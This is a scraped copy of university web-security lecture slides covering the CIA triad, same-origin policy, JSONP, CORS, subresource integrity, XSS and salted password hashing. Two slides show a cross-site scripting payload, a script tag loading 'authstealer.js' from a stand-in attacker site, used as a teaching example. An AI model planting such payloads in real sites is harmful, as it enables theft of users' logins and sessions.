CS/COE 1520 pitt.edu/~ach54/cs1520 Web security Security basics: - - PowerPoint PPT Presentation

cs coe 1520
SMART_READER_LITE
LIVE PREVIEW

CS/COE 1520 pitt.edu/~ach54/cs1520 Web security Security basics: - - PowerPoint PPT Presentation

CS/COE 1520 pitt.edu/~ach54/cs1520 Web security Security basics: CIA Confidentiality Keeping information secret from those who should not be able to see it Integrity Two portions: Data integrity: has the content of


slide-1
SLIDE 1

CS/COE 1520

pitt.edu/~ach54/cs1520

Web security

slide-2
SLIDE 2
  • Confidentiality

○ Keeping information secret from those who should not be able to see it

  • Integrity

○ Two portions: ■ Data integrity: has the content of the data been modified? ■ Origin integrity: can you verify the source of the data?

  • Availability

○ Can you access the information? ○ Denial of service attacks attack availability

Security basics: CIA

2

slide-3
SLIDE 3
  • Policy defines what actions are allowed in the system
  • Mechanism is a way to enforce policy

Policy and mechanism

3

slide-4
SLIDE 4
  • A threat is a potential security violation

○ Threat modelling is the process of identifying threats in your system that you will aim to protect against ○ Generally, you can call the entity that you will protect against an adversary

Threats

4

slide-5
SLIDE 5

Our system model

5

Request Response

slide-6
SLIDE 6
  • Symmetric ciphers

○ A secret key is used to encrypt messages ○ Anyone who knows the secret can read the message ○ E.g., AES

  • Public-key cryptography

○ Anyone can encrypt a message such that only Bob can read it ○ E.g., RSA

  • Digital signatures

○ Anyone can verify that Bob sent a message ○ E.g., RSA

  • Cryptographic hash functions

○ Should be collision-resistant (among other properties…) ○ E.g., SHA-256

Our toolbox

6

slide-7
SLIDE 7
  • Example DoS attack: Slow Loris

○ Send partial request to server ○ Just before timeout, send more of a partial request ○ Never complete a request ○ Exhaust server resources to handle new requests

  • Modern DoS:

○ DDoS: Distributed Denial of Service ○ Have thousands of machines send requests to the server to exhaust its resources to handle new requests ■ Botnets have historically been used to execute such attacks

What about availability?

7

slide-8
SLIDE 8
  • Scripts from one web page can only access data from

another webpage if they share the same origin

○ E.g., ■ script from example_a.com/one can access:

  • Data from example_a.com/two
  • Data from example_a.com/dir/three

■ It should not access:

  • Data from example_b.com/two
  • Data from ex_a.example_a.com/two
  • Data from www.example_a.com/two

Web-specific security: the Same-origin policy

8

slide-9
SLIDE 9

Motivating example

9

BANK OTHER

slide-10
SLIDE 10
  • JSON with padding
  • To get JSON representation of resource ex_b.com/r1 from

ex_a.com

○ Can't use AJAX ■ Violates same-origin policy on scripts ○ Use the <script> tag and some clever h4x: ■

<script "application/javascript" src="ex_b.com/r1"> </script>

○ Except, ex_b.com/r1 will return JSON, not JS… ■ E.g., {"type": "resource", "name": "r1"} ○ So set source as follows: ■ "ex_b.com/r1?callback=parseResponse"

  • Reponse now:
  • parseResponse({"type": "resource", "name": "r1"})

○ Now this is JS!

■ Issues with this approach?

Getting data from other origins: JSONP

10

slide-11
SLIDE 11
  • Cross-origin resource sharing

Getting data from other origins: CORS

11

slide-12
SLIDE 12
  • Allows a browser to verify that the resources they fetch are

not modified

  • Use the integrity attribute on the script and link elements

set to a hash of the resource

○ <script src="https://code.jquery.com/jquery-3.4.1.js" integrity="sha256-WpOohJOqMqqyKL9FccASB9O0KwACQJpFT UBLTYOVvVU=" crossorigin="anonymous"></script>

  • If the hash doesn’t match, the browser will not process the

fetched resource

Subresource Integrity

12

slide-13
SLIDE 13
  • Persistent attack example:

○ Consider the comments section of an article on news.example.com ○ Mallory notices that she can add HTML to her comments to change how they are displayed ■ E.g., adding <em></em> will render parts of her comments at emphasized for readers of the article ○ What happens when Mallory posts the following comment: ■ I love the puppies in this story! They're so cute!<script src="http://mallorysevilsite.com/authstealer.js">

Cross-site scripting attacks

13

slide-14
SLIDE 14
  • Mallory notices that when she searches example.com for

"puppies", the following happens:

○ She taken to the page example.com/?q=puppies ○ She is show a page that simply says "puppies not found!"

  • What could happen if Mallory searches for:

<script src="http://mallorysevilsite.com/authstealer.js"> </script>?

Cross-site scripting attacks: reflected attack

14

slide-15
SLIDE 15
  • Consider login controller from minitwit
  • Try to view a private GitHub repo in incognito mode

Site design: Error handling

15

slide-16
SLIDE 16
  • You (as a server operator) should not know a user's

password

○ Why? ○ So how can they log in? ■ Store hashes of the password! ○ If you ever click "forgot password" on a site, and they email you back your password, don't trust that site!

Data storage: Passwords

16

slide-17
SLIDE 17
  • Where should the password be hashed?

I.e., where should SHA256(user_pass) be run?

On the server side?

  • E.g., in Python

On the client side in JS?

Hashed password login

17

slide-18
SLIDE 18
  • A bit of salt

○ For every user, generate a random number ■ Using a cryptographically secure random number generator! ■ This is the salt ○ Generate hashes for that user as the supplied password concatenated with the salt ■ Why?

Needs just one more thing

18

slide-19
SLIDE 19

NEVER IMPLEMENT YOUR OWN CRYPTO

Use a trusted and tested library. For password storage, use bcrypt

A note about all of this